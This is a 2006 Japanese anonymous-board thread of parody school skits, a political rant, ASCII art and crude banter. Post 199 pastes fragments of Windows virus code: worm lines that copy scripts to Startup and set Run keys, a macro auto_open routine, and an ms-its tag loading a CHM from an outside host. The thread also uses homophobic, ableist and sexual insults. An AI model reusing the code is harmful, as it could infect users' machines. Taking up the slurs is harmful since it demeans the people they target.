182 :名無しかましてよかですか?:2006/10/07(土) 20:13:10 ID:D+FVe4Ok

>肝井「もう、一緒に寝たんだからもうボクと結婚しよーよー」

>>178
http://up.spawn.jp/file/up43265.png


183 :名無しかましてよかですか?:2006/10/07(土) 20:15:30 ID:l99zHxWI
>>182
よう、ホモ味。

184 :名無しかましてよかですか?:2006/10/07(土) 20:59:45 ID:GRS/hhiP
>>182
http://www.galge.com/galge/nomember/sbp/radio/pico/

185 :名無しかましてよかですか?:2006/10/07(土) 21:05:30 ID:D+FVe4Ok
>>184がキモ味をカワイイと認めました!

186 :名無しかましてよかですか?:2006/10/07(土) 22:04:24 ID:02fhT6ff
>>176
>「吉田のクセにこんな大きな家で金持ちに育ってかんしゃくおこす!!1111!!」


「吉田のクセに」って、全然理由になってないじゃん。

187 :名無しかましてよかですか?:2006/10/07(土) 22:39:17 ID:8Gd7QkzS
カズフサですから

188 :名無しかましてよかですか?:2006/10/07(土) 22:49:25 ID:ZFWXwowI
スネオみたいな反応・・・・・・・・・・。

189 :名無しかましてよかですか?:2006/10/07(土) 22:52:22 ID:ZFWXwowI
>>182
ワロタWWWWWWWWWWWWWWWWWWWWWWWww
特に後ろの雷が笑える・・・・。一昔前の同人ゲームみたいwwwwwwwww


190 :名無しかましてよかですか?:2006/10/07(土) 23:05:17 ID:Os1VpQa0
>>188
ジャイアンだろ

191 :最も聡明で最も美しい若者たちと情けない特攻パシリ男>1:2006/10/07(土) 23:19:29 ID:k68bjCSf
http://members.at.infoseek.co.jp/YaYa/system.htm
自己陶酔の形容詞を羅列した、甘ったれた遺書を書かされ、ボロ飛行機に放り込まれ、
覚醒剤を打たれ、殆ど命中しない体当たり作戦に利用される神風特攻隊の若者たち、
その特攻の報復空襲で焼き殺される特攻隊員の家族と美しい故郷と何十万という市井の人々。
何という無残で情けない特攻パシリ男たちだろう。
あの時代にも総てをかけ凄まじい弾圧に耐え侵略強盗阻止の反戦を戦い抜いた
最も聡明で最も美しい若者たちがこの日本に確かに存在したのだ。
http://www32.ocn.ne.jp/~modernh/paper37.htm
http://esashib.hp.infoseek.co.jp/tuzimoto39.htm
http://www.linkclub.or.jp/~teppei-y/tawara%20HP/ima%20tawara.html
単細胞で無責任な皇軍兵士の犬死の「お陰」で今、この狂った日本がある。
年間2兆円の恩給利権、5兆円の防衛利権、選挙の票田と化した靖国参拝利権。
防衛、金融、建設、宇宙などに注ぎ込まれる巨大な利権の狂乱のなかで
今尚、アジア各地に放置されたままの100万体を越える皇軍兵士の遺骨。
「侵略強盗殺人犯罪への有罪という慰霊」も受けない「骸骨」のまま捨て置かれているのだ。
何という無残で情けない昭和パシリ男たちだったのだろう。
あの時代にも総てをかけ凄まじい弾圧に耐え侵略強盗阻止の反戦を戦い抜いた
最も聡明で最も美しい若者たちがこの日本に確かに存在したのだ。
(参考文献)
『戦史叢書 本土決戦準備』1,2、本土方面海軍作戦。各・防衛庁防衛研究所戦史室。
『聞き書き ある憲兵の記録』朝日新聞山形支局 
『ねじ曲げられた桜―美意識と軍国主義』大貫恵美子
『ドキュメント神風』デニス・ウォーナー、ペギー・ウォーナー
『全体主義の起源1・2・3』H.アーレント
『JAPANESE AIR POWER−米国戦略爆撃調査団報告/日本空軍の興亡』大谷内一夫訳・編


192 :名無しかましてよかですか?:2006/10/08(日) 06:24:34 ID:xaG1Qyul
    _, ._
  ( ・ω・) んもー
  ○={=}〇,
   |:::::::::\, ', ´
、、、、し 、、、(((.@)p.spawn.jp/file/up43265.png


193 :名無しかましてよかですか?:2006/10/08(日) 08:35:50 ID:7My/h9i8
高木惣吉氏による、海軍大学校生時代の回想より

 「たとえば憲法総論の上杉慎吉博士。天才的な学者と聞いていたが、三十すぎた学生に、いくら法
 律専攻でないとしても、小馬鹿にした稚拙な比喩、天皇神権説の粗雑な憲法講義は、私の級では
 耳を傾ける者がすくなかった。
  ある朝、連日の研究リポートに追われた徹夜組が多かったのか、大半が居眠りしてしまった。憤
 激した博士は、いきなり手にした竹のムチでテーブルを叩きあげ、「私の講義にたいして失敬な!」
 とどなりながら、例のムチがコナゴナになるまで叩きつづけ、席をけって退席してしまった。
  末席の四名−私もその一人−最前席の机で、ここだけはさすがに眠っていなかったが、なんで
 博士が怒りだしたか訳がわからず、後で居眠りした連中もビックリ目をさましてポカン。博士が退席
 してから大笑いとなり、なかには教頭に頼んで詫びをいったら、というハト派学生もあったが、徳永栄
 学生長が、「ほっとけ、あんなくだらぬ講義をして増長している。詫びることなんかない!」と一喝して、
 みなそれに賛成した」
   (実松譲 『海軍大学教育』)

まんま現在の林間なのが笑えるw

194 :10年後:2006/10/10(火) 07:41:10 ID:ZEuxMd08
エイトプリンス駅前
吉田「うーん、久々にエイトプリンスに着たけど、やっぱり懐かしいな。
しかし、あの頃は三年間住んでいたとはおもえんくらい長かった。」
コヴァ「おう、吉田君じゃないですかね」
吉田「…誰?もしかしてその話し方はコヴァか?コヴァなんだな!」
コヴァ「そうですよ。久しぶりですねぇ。僕、やせたからわからないと思ったんですが」
吉田「いやー、すっげえ懐かしいな!本当、見間違えたぞ!!
ところで、お前、今何やってんの?」
コヴァ「何って、お仕事のことですか?僕は今千代田区の某出版社に勤めてますつ。
そういえば吉田君は関西の同志スターリン大学に…」
吉田「いや、あそこは肌が合わんかったからやめて、東京キャピタル大学に入りなおしたよ。
で、今は思想デンパ担当のカウンセラーやってる。」
コヴァ「吉田君にぴったりですね。いいじゃないですか。で、吉田君はなぜここに?」
吉田「たまにはこの町に来てみたくてよ。一応高校の三年間過ごしたからな。
キャピタル大学に入りなおしてから、姉貴と住んでたマンションも都心部に移ったし。」
コヴァ「そうですか。良かったら案内しましょうか?」
吉田「いいのか?お前にも用事があるんだろ?」
コヴァ「いいですよ。別に用事はないです。」

海武学園前
吉田「うわー、懐かしい。変わってねーなー」
コヴァ「実は僕も久しぶりに行きましたにょ。ぜんぜん変わってませんね。」
キモ味「あっ!吉田くんだぁ!」
後ろにはキモ味と林間とジバクがいた。
コヴァ「うっ、会いたくもない奴らに会いましたよ!!」
林間「会いたくもない奴らとは何だかんしゃくおこす!!!!1!この転向ブサヨポチ!1!!」
ジバク「わしは相変わらず日本国大統領にして日本軍総司令官のセレブなのじゃよ」
吉田「セレブのわりには格好がみすぼらしいな」
なるほど、ジバクはぼろの服を着ていた。

195 :10年後:2006/10/10(火) 07:46:14 ID:ZEuxMd08
吉田「こいつら今何やってんの?」
コヴァ「林間先生は奇跡的に今でも海武の先生をやってるんですよ。
まぁ、相変わらず臨時講師のままですがね。そういえば、
守本先生の方は糖尿病に倒れてお仕事やめましたにょ。」
林間「奇跡とは何だ!!1!!本来大学教授レベルの俺の知能をもってすれば
高校程度の授業など楽勝だ!!!1!」
吉田「何が大学教授だよ。『工業規格は買える』とほざいたり、本居宣長の短歌を
吉田松陰のものと勘違いしてたり、五一五事件の犯人を陸軍にしかいないはずの
皇道派のしわざとほざいたり。そんな簡単な知識や常識も知らん奴が大学教授なんて
片腹痛いわwww」
コヴァ「大学教授といえば、最近国崎先生がイルボン大学の助教授に
なりましたよ。あとン十年がんばれば教授ですね。」
林間は教師連中では一番の仮想敵だった担任と比べられてかんしゃくを起こした。
林間「アルティメットかんしゃくおこすうううううううううう!!11!!1!!」
コヴァ「それで、ジバクは高校を出てずっとニートですよ。」
ジバク「失敬な!!わしは大学に収まらん枠の大物じゃから、大学には行かんのじゃよ!!」
吉田「まぁ、大学にいっても卒業できそうにないしな、あの頭と性格じゃ」
キモ味「でねー、ボクはね、大学を出てフリーターだよ、にはは」
コヴァ「お前は何を言っているんですか。お前は故郷の長野アニメ学院に行ったって…」
吉田「森本大学キモヲタ学部変質・犯罪者養成学科卒なんじゃね?」
キモ味「違うもん!!!ボクは地元の長野国立大学卒だよもん!!!このクソニート!!!」
コヴァ「おかしいでしゅね、お前はたびたび僕に電話をかけてきて相手してやってますが、
20歳の頃からずっとフリーターフリーター言い続けてるじゃないですか。」
キモ味「学生だったらバイトするだろ!!!ニートですかぁ??」
吉田「アホか。学生とフリーターの区別もつかんのかこのバカは。
この世の何処に大学生なのに『職業:フリーター』って名乗るバカがいるんだ?」
キモ味「ボ、ボクは本科生じゃなくて、特別聴講生だよもん!!だからフリーターだよもん。
物理の授業とって勉強して単位取ったし!勉強家でしょ!!」

196 :10年後:2006/10/10(火) 07:49:13 ID:ZEuxMd08
コヴァ「勉強家なら、資格を取って正社員になればいいのにそういうことはしませんね。」
キモ味「正社員なんて真っ平!正社員は奴隷だよもん。ボクは今の残業無し、
週休二日の仕事が気に入っているんだよもん。正社員は負け組!!!!
それにボクの家は百姓だし!!百姓は農作業で忙しいからね!!」
吉田「バカ?うちの親戚にも百姓は一杯いるけど、お前のような就労形態している奴は
若い奴少々を除いていないぞ。そいつらもゆくゆくは正社員になると言ってるし。」
キモ味「そんなことより見てよ、今年の林間先生との紅葉観光旅行レポートだよもん。」
ここ10年、毎年10月ごろになると、林間は紅葉鑑賞旅行を思い立ち、脳内彼女候補を
誘おうとするも果たせず、なぜかいつも後部トランクにキモ味が忍び込んでいて
結局林間はキモ味と紅葉(青々としているが)を眺めに行くというパターンが定着していた。
コヴァ「ふーん、それにしてもお前のレポートは写真がありませんね。」
キモ味「それなんだけど、おかしな現象が起こるんだよもん。ボクは写真に写ると、
必ずボクの代わりにキモい顔をしたキモオタが写っているんだ。」
吉田「…それ、お前…」
コヴァ「鏡貸してあげるから自分の顔を見てくださいよ」
キモ味「うぐ?だめだめ、鏡見てもボクのかわりにキモオタが写っているんだ。
どうやら、ボクには鏡や写真に写ると本来の美少女の姿のかわりにキモオタが写る
魔法をかけられてるんだと思うよ」
吉田「…だめだ…話が脳内完結してる…」
コヴァ「しかし、ホモデート旅行の記録もついに10年たちましたか…」
林間「ホモじゃねえっつってんだろかんしゃくおこす!!!1!!!」
キモ味「そうだそうだ!」
吉田「でもよー、これ見てるとどうみても林間はともかく、キモ味のほうは
ホモじゃないかと疑いたくなるぜ。まさに『ホモ味』だな。」
キモ味「ホモじゃないっつてんだろ!!!!」
コヴァ「もうこいつらにかまっていられませんね、時間の無駄ですよ、行きましょう。」
吉田「そうだな。」
あきれ果てたコヴァと吉田は急ぎ足でどこかに行った。
一方、三人は「勝った勝った」と、脳内勝利に酔いしれていた。

197 :名無しかましてよかですか?:2006/10/10(火) 21:10:21 ID:0LiUKx9q
>>194
>今は思想デンパ担当のカウンセラーやってる


十年後、リアルでそういう仕事が「職業」として成立しているような気がするのは、
俺だけ?


198 :名無しかましてよかですか?:2006/10/10(火) 21:40:27 ID:H5Dsrrsi
キモ味はここで大人気!
さて、レスいっぱい貰えるなら今日もネタキャラの”キモ味”しますです。
というわけで、

ボクちんはみんなのアイドル! ホモなんかじゃない!
美少女がいいに決まってるだろ!

199 :名無しかましてよかですか?:2006/10/10(火) 22:43:53 ID:H5Dsrrsi
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub

200 :名無しかましてよかですか?:2006/10/11(水) 02:02:28 ID:DEMpzKI5


キモいホモはいねーかー? ウイルスコード貼り付けるバカはいねーかー? 親の買ってきたビール投げつける寄生虫はいねーかー?

          __/: : : : : : : : : : : : : : : : : :`ヽ
         , ': : : : : : : : : : : : : : : : : : :`丶、: : \
       / /, : : : : : : : : , : : : : : : : : :\: :丶: : :ヽ
  ハ   / / :/: :/: : :/: : : i: : : : : : : 、: : ヽ ヽ.: :\: ハ
 i i:l   、: :/: : /: :/: : : i: : : :,l: : : :l: : : : :i、: : :ヽ:\;イ: :ハ
 l l:.i   /: : /: : /: : : :i: : : : il: : : :l: : : : :l 、: : : ヽ; ':.i: : :ハ
 i. i:.l   `ー/: : :i: : : : l: : : : l i: : : :l 、__.斗ヘ: :, -':.:.:.l.: : :ハ
 l. l:.:i     `ー ー--:イ`ニ_=-' -- ' `,ィ…o<l: : l:.:.:l:. : : ハ
 l l:.:i.       l: : :.l ,代。゚)    .`ー゚'_ '’l: :.l:.:.:l:.: :.: :ハ
 l l:.:l.       /i: :i:.ド ー-‐'  '_ ` ̄  ,イ: :l:.:.:l:l:. :.:. ハ
 l l:.:.l      / l: :l:.l ヽ、    ー‐'  ィ ':.:l: :.l:.:.:l:.l:.:.:.:. ハ
 l l:.:.l      /: :i: :l:.l:.:.:.:.:` ` ー 、- '  l:.:.::i: :.l:.:.l:.l:l:.:.:.:.:.ハ
. i i:.:.i     /: :.:l: :l:.l:.:.:.,......, - ' l    `ーl: :l:.:.:l:.l:.l:.:.:.:.:.ハ
  l l,:.:l    i: :i :l: :l:.l:/ i i ー 、  , - ‐ l: :l :.l`ヽ:.:.:.:.:.:. ハ
  `'´.l:.:i_   l: :l :.l: :l:.l.   l l   `     i: :i:.:i  ヽ:.:.:.:.:. ハ
    l-'l i   l: :l: :.:l: l:.l    l l_      , 'l: :l :.l   ヽ:.:.:.:.: :i
  r_'ーっ.ヽ l: イ :.,l: :l:.l ,イ l  ` ーィi、‐'  i: :i: :.lヽ.   ヽ:.:.:.: :l
  〈、二 ´イi  l:.ll: /l: :.l:.l./ ソ  /{ ト,ヽ  l: :l: :.l 〉ヽ.   ヽ:.:.:. l
  ヽ--−' ト、  '/ l: :.l:.l:.:ヘ  `イ/lノi,ヽ' i: :i :.:i l:.:.:.lヽ   ヽ:.:.:l
   ``i_´l  ``ヽ  >、l:.:.:.i   //  l .l l: : l:.:l. l:.:.:.:l:.ヽ   ヽ l
 


201 :名無しかましてよかですか?:2006/10/11(水) 10:14:35 ID:mnDrh6Vg
愛国烈士気取りの兵投与、キングオブ無能なキモ味が
黄色い救急車に乗せられて隔離されずにのうのうとしていられる日本とはホントに凄い国ですね
最高な茶番劇だよ。「えいえんはここにある」から、
一人で勝手にゴールしないでこれからもずっとそうやってじゃれあっていろやwwwはちみつくまさんwww
つーか、月宮あゆってコートの下に何も着ていない変態露出狂な淫乱女にしかみえねぇwww
こんなズベ公怪人オマンコルゲに惚れ込む奴もまた頭がイカレてるに違いないwwwwww
http://oishi2ch.hp.infoseek.co.jp/souko/oishi002.jpg


202 :性癖発覚:2006/10/13(金) 10:44:07 ID:bVzkcgoU
海武学園、林間の吉田へのからみコーナーこと政経の時間
鳥坂「ふ〜ん、で、また昨日お前んとこに林間がきたんかい」
吉田「そう、で姉ちゃんに例によって襲いかかろうとしてたからサムソンが
林間に正拳突き喰らわして・・・」
コヴァ「相変わらずすごいでしゅね・・・」
そこに林間先生登場
林間「誰が精剣伝説だって!1!11!!この吉田のエロゲヲタめ!」
吉田「誰もんなこと言ってねえよ・・・」
鳥坂「なあ、精剣伝説ってエロゲだったか?オレ、消防の頃にやった記憶あるんやけど」
コヴァ「少なくともボクチンも精剣伝説がエロゲなんて聞いたことないでしゅにょ」
吉田「精剣伝説って、スーファミで出てたよなあ。スクエヤから」
林間「フン、これだから十年前消防だったヤツは困る。精剣伝説さんに出てくる
リープたんがなっ、もうね、金髪で露出度の高い鎧着ててもう拙者の・・・」
グゴゴゴゴゴゴゴゴゴ
コヴァ「要するに性癖に合ったと言うことですかね?」
林間「そんな幼いリープたんをボクは毎日縛ったり鞭で叩いたり××したり××させたりっっ」
ゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴ
吉田「うわぁ」
鳥坂「・・・教室内無言や・・・、真保すら困っとるで」
林間「だからお前等も、そんな金髪美少女を将来的には縛ったり××できるエリートに・・・」
吉田「真保すら黙らすなんて・・・、恐ろしい子っっっっっ(白目)。
それはともかく、金髪美少女が本当に林間は好きだよなあ」
鳥坂「でもお前の姉ちゃん二人にまんべんなく興味持ってるんやろ」
吉田「もみじ姉ちゃんは違うけど、上の姉ちゃんは結構日本人離れした体つきだぞ」
コヴァ「別に女の子なら誰でもいいんじゃないでしゅかね?」
吉田「でも、ヴァルキリー系のああいうのが好きって明確な以上、やっぱ金髪美少女好き
なんじゃねえの?」
コヴァ「でも吉田君も銀様とか大好きですにょ。余り人のことは言えないんじゃないですかね?」
吉田「黙れコヴァ。それにしてもアメリカ追従批判してるのに、本人が金髪美少女好きって・・・」

203 :性癖発覚:2006/10/13(金) 10:45:36 ID:bVzkcgoU
鳥坂「ほら、やっぱりアレやない?欧米人にコンプレックスがあるっちゅーか」
コヴァ「英語、ボクチンよりできましぇんからね、林間先生」
吉田「欧米コンプレックスからの金髪美少女好きで虐待志向、しかも反米・・・業が深いなあ」
林間「誰が金髪美少女好きの白人コンプレックスの持ち主だってー。かんしゃくおこすー!!1!」
鳥坂「おい、また林間が来たで」
コヴァ「林間先生、吉田君もSっ気のある銀髪美人が好きなんでしゅから。変態同士仲良く・・・」
鳥坂「さっきの根に持ってるな、コヴァ・・・」
吉田・林間「黙れコヴァ」コヴァは二人に一喝され黙り込む
林間「やい、さっきはよくもよくもオレを白人コンプレックスなんて言ったな!!1!!」
吉田「それがどうかしたんですか?この性犯罪者予備軍」
鳥坂「アカン、こら全面戦争勃発や。みんな避難し」
教室からみんな出て行った。
林間「なんだとーーー!!1!!貴様だってエロゲヲタじゃないかーーーー」
吉田「エロゲなんて持ってませんよ。そもそも林間先生の方が凄まじい数のエロゲを
持っていますしね」
林間「貴様ー。教師を侮辱した上に反抗する気かーーーー!1!!かんしゃくおこすーーー!!!」
吉田「ハイハイ、分かったから授業始めて下さいよ」
林間「そもそもオレのどこが白人コンプレックスなんだーーーー」
吉田「金髪美少女への歪んだ性欲、感情的すぎる反米。どうみてもコンプレックスですよ」
林間「かんしゃくおこすーーーー!11!オレの祖父母はハワイ出身の日系人だー」
吉田「それが何故コンプレックスがないことになるんですかね?ところで、私が以前調べた
ところ貴方のおじいさんは大阪近辺から全く動いていないようなのですが」
林間「それはなっ、母方の・・・」
吉田「では、何時日本に戻ってきたか。理由は何故かなどは分かりますよね?」
林間「・・・えっとー、そのー」
林間、思いっきり勢いで嘘を言ってしまったため眼が泳ぐ
吉田「そもそも、太平洋・・・いや、先生のレベルに合わせるため大東亜戦争の太平洋戦線と
言った方が良いでしょうが、その当時在米日本人・日系人がどういう仕打ちを受けたか
知っていれば白人コンプレックスがないなんてことは言えないと思いますが。まあ、
反米主義の根拠にはなりますけどね」

204 :性癖発覚:2006/10/13(金) 10:46:43 ID:bVzkcgoU
林間「うううううう、そ、そうだよ。白人コンプレックスじゃなくて、反米主義の根拠・・・」
吉田「じゃあなんで白人コンプレックスなんて言葉があっさり出てきたんですか?
反米の方がよほど貴方が日頃から意識していることですよね。白人コンプレックスなんて
えらく特殊な単語は普通出てきませんよ」
林間「白人コンプレックスってお前等が言ってきたんじゃないかー」
吉田「そうですか?私達は欧米コンプレックスとしか最初は言ってませんが。白人という
人種に言及したのは、林間先生、貴方が最初ですよ」
林間「うううううううううううううううううううううううう、かんしゃくおこす!1!!!1
お前等なんて障害者だーーーーー!11!!!」
吉田「全く、貴方は本当に教育者ですか?教え子のことを障害者扱いなんて
それに、小林先生の奥さんも足に障りがありましたよね」
林間「ボクチンの言うことを聞かないのは頭がおかしいんだーーー!1!!!!」
吉田「・・・貴方は昔の日教組にもいませんよ。ここまでアレな教師は」
林間「うるさいうるさいうるさいかんしゃくおこす!111!11!!!!
貴様は分かっているんだぞー。この反日陰謀セックス中毒童貞ニッキョーソの手先ー」
吉田「意味分かりません」
と、吉田は林間が完全に火病った頃合いを見て、担任に携帯で連絡を入れた。
吉田「もしもし、国崎先生ですか。林間先生がおかしくなったので、至急救急車を」

十分後、黄色い救急車が校門から飛び込んできた。
担任「なあ、吉田」
吉田「はい」
担任「あんまり林間を追い込むなよ。いつか、性犯罪とかしでかしたらどうするんだ。
ちゃんと責任が取れる範囲で追い込めよ」
吉田「・・・ごめんなさい国崎先生、あと、授業潰したみんな」
林間は担架で運ばれていく
林間「吉田めっ、かんしゃくおこす!1!!!1」
看護師「はいはい大人しくしてね」プスッ
林間「いぐぅぅぅぅぅぅぅ」パタっ

205 :漫画と知性?:2006/10/13(金) 19:37:07 ID:8En0Zkae
吉田が臭英社の漫画雑誌、週間少年ステップを読んでいた。
吉田「ふーっ、最近のステップあんまり面白い作品ねーな。徐庶(徐庶の奇妙な冒険)は
だいぶ前にウルステに写っちまったし、コヴァノ(コヴァ・ノート)も連載終了したし。
こち駅(こちら江戸川区大小岩駅前交番)は相変わらず全盛期の勢いが嘘の様につまんねーし」
鳥坂「幼稚園にいた頃のステップが一番面白かったわー。全盛期のこち駅に
アッパーダンク、下書き掲載白書、ドラコンボール、ろくでなしJAZZ…」
コヴァ「ボクはアフター・ゾーンとか凄いよ!のぶゆきさん、素浪人剣心も好きでしゅた…」
吉田「あー、昔はよかったー」
キモ味「うぐぅ、君たちそんなワンパターンな偽善漫画がいいのぉ?」
鳥坂「去ね」
吉田「お前は漫画のゲバ(新兵器ゲバンゲリヲン)でも読んでろ。」
キモ味「ボクは最近コヴァノがお気に入りなんだ」
吉田が目の色を変えた。吉田は大のコヴァノ好きである。
吉田「マジか?お前はどの辺が好き?俺はミツバ編が好きなんだけど」
キモ味「エヴァ、デスノート=高等数学、ジャンプ系偽善漫画=中学の数学だよもん。」
吉田「?」
コヴァ「キモ味はコヴァノを読んでいることで自分を知性あふれる人間に見てもらいたいんでしょう。
まぁ、おおかた、コヴァノを読んで主人公と自分を重ね合わせて自分も主人公のような
天才少年だと思い込みたいんでしょう。もちろん、その中身は知性あふれるどころか、
知能の足りない少年なわけですがww」
キモ味「おぎゅうう!!1!!違うよ!11!!」
コヴァ「何が違うんでしゅか?さっきの発言は中身なんかどうでもいいって感じがしましたにょ。」
キモ味「お前なんかにコヴァノやゲバの面白さがわかるもんか!1!!!
お前のようなキモオタにいいいいいい!!!!!」
鳥坂「マジで最悪やな。面白いから読むんじゃなくて知的な人物に見られたくて読んでるなんて」
コヴァ「だったら、普通に活字を読めばいいのに…」
吉田「キモ味にまともに活字を読める頭があると思うか?読んでもまったくわかんねーから、
少なくとも視覚で虫食い的に理解できる漫画やアニメを見てるんだと思うよ。
あいつが日ごろ読んでいる活字って教科書とラノベだけじゃねーか」

206 :漫画と知性?:2006/10/13(金) 19:38:58 ID:8En0Zkae
キモ味「黙れ吉田!!1!ボクはこんなにやさしくしてやってるのに、
お前は僕に優しくしない!!!1!お前なんか友達じゃない!1!!!」
吉田「ん?お前の優しさってこうやって話に割り込んで嫌がらせをしにくることか?
あと、お前なんかと友達になった覚えはねえ」
キモ味「うるさい!1!!!相対性理論や微分積分もわからない劣等生が!1!!!
生きる価値ないから、早く詩ね!!1!!!!」
コヴァが一枚の紙を差し出して吉田と鳥坂に見せた。キモ味の顔色が変わる。

川相塾 全統マーク模試
東京 海武 2年 男 08クラス 00008番 キモイ ウグウ アジヘイ
英語75偏差値37.4 国語34偏差値35.2 数学78偏差値49.3
物理55偏差値50.1 化学12偏差値31.4 日本史24偏差値37.3
英数国合計187偏差値42.4 英国地公合計133偏差値36.6 校内順位113/113
判定 お酒の水女子大学 氏ね  津田女子大学 ( ´,_ゝ`)プッ 和田大学 \(^o^)/オワタ

吉田「ひぃーっ、それ、昨日帰ってきた模試の結果じゃねーかwwwwwウケるwwwww」
鳥坂「男の癖に志望大学に女子大を書くなよwww笑い殺す気かwww
つか、お前理系志望だそうだが、このクラス文系なのになんでこのクラスにいるの?」
キモ味「い、いじめだああああ!!!ひどいよおおおおお!!!!!!
何で漫画ごときにそんなに必死なの!!!!!!!ボクみたいに一般人になれないから、
ひがんでるの!!1!!!!!!!!!???何でボクの模試の成績表を持ち出すの!1!!」
コヴァ「お前が吉田君を低脳呼ばわりするからですにょ。言っときますけど、
吉田君の結果は偏差値ベースでお前より30近く上ですにょ。
まぁ、努力が大嫌いでいつも天才少年になることを妄想しているお前には吉田君はおろか、
ボクチンの成績も超えることは無理でしょうけど。」
キモ味「hヴv方位v不意fvgでゅイオvhrヴいおhヴぃおうfv!!!!!!
おんぎゃああああ!!!!おぎゃああああああ!!!!!!!」
キモ味、松沢に措置入院

207 :名無しかましてよかですか?:2006/10/13(金) 22:03:49 ID:ZdHhRNiy
>コヴァ「お前が吉田君を低脳呼ばわりするからですにょ。言っときますけど、
>吉田君の結果は偏差値ベースでお前より30近く上ですにょ。

m9(^Д^) うはwww自分で自分ことを褒めているwww恥ずかしい奴www
この文章の作者(>>209)は、ティキだなwww

ボクちんはむしろお馬鹿なので理系たんの高度な話が聞きたいのです。
もちろん聞いても分からないけど、理系たんが近くにいるだけで幸せ。(´∀`)

208 : ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄:2006/10/14(土) 02:02:09 ID:n8T3T/Xx
   /           r-、    \___ ノ
     / /        /  /-‐‐V>     ヘ
     { /      l  イ  /     |     ヘ
     | ハ   ヘ  .|ヘ__|,,k' l  ヽ、__ l /     }
     レ ヽ、  ト、 | V__ ヘj     レ |  ノ /レ
        〉、 ヘ彡-=・=-  -=・=-ノ  イ /
       /  `ト`ー'(、●^●,)ー'(_∠/     僕珍は美少女だ!!!〜〜〜!!
      /   i/ゝ   ノトェェイヽ 人_l  ヽ     ブヒブヒ
     /  /レ / ̄>ーゝ_ン-、r-―‐ 、 ヽ  l
     |/  /   〈    |   〉    ヘ ヽ |
        レ   r ´ヽ  .|  /¨ヽ    }
      /    〉 「 ̄ Tー'´L 〈    〈
      ヽ、_r'ニl_ト--┴--〈 ノヽ、  ノ
         `|  /  | |   ', \ 〉
          .| /   | |   ', /


209 :担任の奇妙な休日:2006/10/15(日) 02:09:40 ID:ibrATLPj
日曜日、担任のマンション(カヅヨシマンション4F404号室)
担任がいつもの疲れを癒すように爆睡していた。
担任「んごごごごごぉぉぉーーーーー」
がたっ、ごとっ
担任「がぁぁぁぁぁぐぅぅぅぅぅぅ」
がたがたっ、ガチャ、ドスドス
担任「んーーー、何だ?」
ガチャ 
誰かが室内に入ってきた。
キモ味「逝っき人さーん!!!」
キモ味が全体重をかけて担任の腹にジャンプしてきた。
ドグァチャ!!
担任「うごはっ!!!」
担任の腹に80キロオーバーのキモ味の体重がのしかかる。
キモ味「逝き人さーん、久しぶりに遊びに来たんだよもん」
担任は死にそうな顔でキモ味にどけとジェスチャーをした。
キモ味はどいた。担任は枕もとの眼鏡をとってかけた。
担任「肝井ー!!またうちに勝手に入ってきたな!!」
キモ味「いいじゃない、恋人同士なんだから」
担任「朝っぱらから気持ち悪い事言ってんじゃねえ!!このホモ野郎!!」
キモ味「うぐぅ、ホモじゃないもん…そうだ!!千葉君と林間先生も来てるよ」
担任「最悪だ…せっかくの休みをこんな形でつぶされるなんてぶつぶつ…」
キモ味「何ぶつぶつ言ってるの、あっちの部屋にいこーよー」
担任はキモ味に連れられて居間に入った。ジバクと林間がいた。
林間「せっかくの休日にこんな時間まで寝ているとは、だらしがないな。
俺を見ろ!!この通り元気だぞ」
担任「あのなぁ…俺はお前が何もしない分、お前の数倍働かされてるの。
で、お前らが引き起こすバカ事件の後始末もさせられるから、すげー疲れてんだよ。」
林間「失礼な!俺はまじめに働いてるぞ!!」
担任「お前が学校でやってるのって授業と銘打った誰も聞かないアジ演説と
何にも考えてない活動日誌を書くだけじゃねーか。それ以外の時間遊びまくってるくせに。」

210 :担任の奇妙な休日:2006/10/15(日) 02:11:42 ID:ibrATLPj
林間「違うな。あいつらは一応ペーパーテストの成績だけはいいから、その上積みとしてだな、
人間としての深みを増すために小林の提唱する反米愛国思想を授けてやろうとおもってな。
この国難の時期にあってこそ、今こそ小林を中心として反米愛国戦線を結成し、
米帝および米帝のポチたる自民党政府を…」
担任「お前の教育は一昔前のコヴァの脳内イメージにあった日教組のコヴァバージョンか?」
林間「なんだと!!!あんな売国奴と一緒にするなかんしゃくおこす!!11!
俺の言っていることに間違いはない!!いまこそ力づくでも生徒たちを小林の元へ…」
担任「生徒の思想は自由だろうが。」
林間「やかましい!!正義の道を歩ませることの何が間違っているんだ!!!1!」
担任「政治における正義なんてそれこそ個人の価値観でぜんぜん違ってくるだろ。」
林間「うううかんしゃくおこす!!!1!かんしゃくおこすううぅぅ!!!1!」
ジバク「やい、クソ教師!!わしを無視するんじゃないんじゃよ」
担任「何だよ」
ジバク「腹が減ったんじゃよ。何か食わせるのじゃよ。」

数分後、ジバクの前にお湯を注いだカップラーメンを出された。
ジバク「…なんじゃこれは?」
担任「見りゃわかるだろ?カップラーメンに決まってんだろうが」
ジバク「わしはこのような貧民の食べるものなど食べたくない!!
命令じゃよ!!さぁ、今すぐフランス料理のフルコースを作るんだ!!」
担任「そんなもんできるかこのボケ!!」
